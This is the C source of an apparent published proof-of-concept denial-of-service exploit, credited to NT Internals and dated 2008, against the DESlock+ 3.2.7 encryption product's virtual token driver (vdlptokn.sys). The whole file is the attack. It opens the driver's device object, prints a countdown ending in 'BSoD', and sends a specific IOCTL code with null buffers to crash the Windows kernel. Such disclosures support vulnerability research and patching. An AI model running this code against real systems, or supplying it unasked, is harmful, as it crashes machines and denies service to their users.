text: ////////////////////////////////////////////////////////////////////////////////////
  // +----------------------------------------------------------------------------+ //
  // |                                                                            | //
  // | Data Encryption Systems Ltd. - http://www.deslock.com/                     | //
  // | Data Encryption Systems DESlock+ - 3.2.7                                   | //
  // | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys                    | //
  // | DoS Exploit                                                                | //
  // |                                                                            | //
  // +----------------------------------------------------------------------------+ //
  // |                                                                            | //
  // | NT Internals - http://www.ntinternals.org/                                 | //
  // | alex ntinternals org                                                       | //
  // | 21 September 2008                                                          | //
  // |                                                                            | //
  // +----------------------------------------------------------------------------+ //
  ////////////////////////////////////////////////////////////////////////////////////
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  
  #define IMP_VOID __declspec(dllimport) VOID __stdcall
  #define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall
  
  #define OBJ_CASE_INSENSITIVE 0x00000040
  #define FILE_OPEN_IF 0x00000003
  
  typedef ULONG NTSTATUS;
  
  typedef struct _UNICODE_STRING 
  {
      /* 0x00 */ USHORT Length;
      /* 0x02 */ USHORT MaximumLength;
      /* 0x04 */ PWSTR Buffer;
      /* 0x08 */
  }
      UNICODE_STRING,
    *PUNICODE_STRING,
  **PPUNICODE_STRING;
  
  typedef struct _OBJECT_ATTRIBUTES
  {
      /* 0x00 */ ULONG Length;
      /* 0x04 */ HANDLE RootDirectory;
      /* 0x08 */ PUNICODE_STRING ObjectName;
      /* 0x0C */ ULONG Attributes;
      /* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
      /* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
      /* 0x18 */
  }
      OBJECT_ATTRIBUTES,
    *POBJECT_ATTRIBUTES,
  **PPOBJECT_ATTRIBUTES;
  
  typedef struct _IO_STATUS_BLOCK
  { 
      union
      { 
          /* 0x00 */ NTSTATUS Status; 
          /* 0x00 */ PVOID Pointer; 
      }; 
  
      /* 0x04 */ ULONG Information;
      /* 0x08 */
  }
      IO_STATUS_BLOCK,
    *PIO_STATUS_BLOCK,
  **PPIO_STATUS_BLOCK;
  
  typedef VOID (NTAPI *PIO_APC_ROUTINE)
  (
      IN PVOID ApcContext,
      IN PIO_STATUS_BLOCK IoStatusBlock,
      IN ULONG Reserved
  );
  
  IMP_VOID RtlInitUnicodeString
  (
      IN OUT PUNICODE_STRING DestinationString,
      IN PCWSTR SourceString
  );
  
  IMP_VOID RtlFreeUnicodeString
  (
      IN PUNICODE_STRING UnicodeString
  );
  
  IMP_SYSCALL NtCreateFile
  (
      OUT PHANDLE FileHandle,
      IN ACCESS_MASK DesiredAccess,
      IN POBJECT_ATTRIBUTES ObjectAttributes,
      OUT PIO_STATUS_BLOCK IoStatusBlock,
      IN PLARGE_INTEGER AllocationSize OPTIONAL,
      IN ULONG FileAttributes,
      IN ULONG ShareAccess,
      IN ULONG CreateDisposition,
      IN ULONG CreateOptions,
      IN PVOID EaBuffer OPTIONAL,
      IN ULONG EaLength
  );
  
  IMP_SYSCALL NtDeviceIoControlFile
  (
      IN HANDLE FileHandle,
      IN HANDLE Event OPTIONAL,
      IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
      IN PVOID ApcContext OPTIONAL,
      OUT PIO_STATUS_BLOCK IoStatusBlock,
      IN ULONG IoControlCode,
      IN PVOID InputBuffer OPTIONAL,
      IN ULONG InputBufferLength,
      OUT PVOID OutputBuffer OPTIONAL,
      IN ULONG OutputBufferLength
  );
  
  IMP_SYSCALL NtClose
  (
      IN HANDLE Handle
  );
  
  IMP_SYSCALL NtDelayExecution
  (
      IN BOOLEAN Alertable,
      IN PLARGE_INTEGER Interval
  );
  
  int __cdecl main(int argc, char **argv)
  {
      NTSTATUS NtStatus;
      
      HANDLE DeviceHandle;
      
      UNICODE_STRING DeviceName;
      OBJECT_ATTRIBUTES ObjectAttributes;
      IO_STATUS_BLOCK IoStatusBlock;
      LARGE_INTEGER Interval;
  
      ///////////////////////////////////////////////////////////////////////////////////////////////
      
      system("cls");
      
      printf( " +----------------------------------------------------------------------------+\n"
              " |                                                                            |\n"
              " | Data Encryption Systems Ltd. - http://www.deslock.com/                     |\n"
              " | Data Encryption Systems DESlock+ - 3.2.7                                   |\n"
              " | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys                    |\n"
              " | DoS Exploit                                                                |\n"
              " |                                                                            |\n"
              " +----------------------------------------------------------------------------+\n"
              " |                                                                            |\n"
              " | NT Internals - http://www.ntinternals.org/                                 |\n"
              " | alex ntinternals org                                                       |\n"
              " | 21 September 2008                                                          |\n"
              " |                                                                            |\n"
              " +----------------------------------------------------------------------------+\n\n");
  
      ///////////////////////////////////////////////////////////////////////////////////////////////
      
      RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0");
  
      ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
      ObjectAttributes.RootDirectory = 0;
      ObjectAttributes.ObjectName = &DeviceName;
      ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
      ObjectAttributes.SecurityDescriptor = NULL;
      ObjectAttributes.SecurityQualityOfService = NULL;
  
      
      NtStatus = NtCreateFile(
                              &DeviceHandle,                      // FileHandle
                              FILE_READ_DATA | FILE_WRITE_DATA,   // DesiredAccess
                              &ObjectAttributes,                  // ObjectAttributes
                              &IoStatusBlock,                     // IoStatusBlock
                              NULL,                               // AllocationSize OPTIONAL
                              0,                                  // FileAttributes
                              FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
                              FILE_OPEN_IF,                       // CreateDisposition
                              0,                                  // CreateOptions
                              NULL,                               // EaBuffer OPTIONAL
                              0);                                 // EaLength
  
      if(NtStatus)
      {
          printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);    
          return NtStatus;
      }
  
      RtlFreeUnicodeString(&DeviceName);
  
      ///////////////////////////////////////////////////////////////////////////////////////////////
  
      Interval.LowPart = 0xFF676980;
      Interval.HighPart = 0xFFFFFFFF;
  
      printf(" 3");
      NtDelayExecution(FALSE,    &Interval);
      
      printf(" 2");
      NtDelayExecution(FALSE,    &Interval);
  
      printf(" 1");
      NtDelayExecution(FALSE,    &Interval);
  
      printf(" BSoD\n\n");
      NtDelayExecution(FALSE,    &Interval);
  
  
      NtStatus = NtDeviceIoControlFile(
                                       DeviceHandle,    // FileHandle
                                       NULL,            // Event
                                       NULL,            // ApcRoutine
                                       NULL,            // ApcContext
                                       &IoStatusBlock,  // IoStatusBlock
                                       0x002220C0,      // IoControlCode
                                       NULL,            // InputBuffer
                                       0,               // InputBufferLength
                                       NULL,            // OutputBuffer
                                       0);              // OutBufferLength
      
      if(NtStatus)
      {
          printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
          return NtStatus;
      }
  
      ///////////////////////////////////////////////////////////////////////////////////////////////
  
      NtStatus = NtClose(DeviceHandle);  // Handle
      
      if(NtStatus)
      {
          printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);    
          return NtStatus;
      }
      
      return 0;
  }